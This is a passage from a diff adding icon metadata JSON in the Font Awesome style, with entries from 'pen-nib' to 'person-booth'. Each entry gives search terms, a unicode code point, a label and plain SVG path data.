97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z" + } + }, + "free": [ + "solid" + ] + }, + "pen-nib": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "edit", + "fountain pen", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ad", + "label": "Pen Nib", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635627, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z" + } + }, + "free": [ + "solid" + ] + }, + "pen-square": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "pencil-square", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f14b", + "label": "Pen Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635627, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z" + } + }, + "free": [ + "solid" + ] + }, + "pencil-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "edit", + "pencil", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f303", + "label": "Alternate Pencil", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635627, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z" + } + }, + "free": [ + "solid" + ] + }, + "pencil-ruler": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "draft", + "draw", + "pencil" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ae", + "label": "Pencil Ruler", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635628, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z" + } + }, + "free": [ + "solid" + ] + }, + "penny-arcade": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "game", + "gaming", + "pax", + "tabletop" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f704", + "label": "Penny Arcade", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861011, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z" + } + }, + "free": [ + "brands" + ] + }, + "people-arrows": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "personal space", + "social distance", + "space", + "spread", + "users" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e068", + "label": "People Arrows", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635628, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z" + } + }, + "free": [ + "solid" + ] + }, + "people-carry": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "box", + "carry", + "fragile", + "help", + "movers", + "package" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4ce", + "label": "People Carry", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635629, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z" + } + }, + "free": [ + "solid" + ] + }, + "pepper-hot": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buffalo wings", + "capsicum", + "chili", + "chilli", + "habanero", + "jalapeno", + "mexican", + "spicy", + "tabasco", + "vegetable" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f816", + "label": "Hot Pepper", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635629, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z" + } + }, + "free": [ + "solid" + ] + }, + "perbyte": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e083", + "label": "PerByte", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785924, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z" + } + }, + "free": [ + "brands" + ] + }, + "percent": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "discount", + "fraction", + "proportion", + "rate", + "ratio" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f295", + "label": "Percent", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635629, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z" + } + }, + "free": [ + "solid" + ] + }, + "percentage": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "discount", + "fraction", + "proportion", + "rate", + "ratio" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f541", + "label": "Percentage", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635630, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z" + } + }, + "free": [ + "solid" + ] + }, + "periscope": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3da", + "label": "Periscope", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861011, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z" + } + }, + "free": [ + "brands" + ] + }, + "person-booth": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "changing", + "changing room", + "election", + "human", + "person", + "vote", + "voting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f756", + "label": "Person Entering Booth", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635630, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 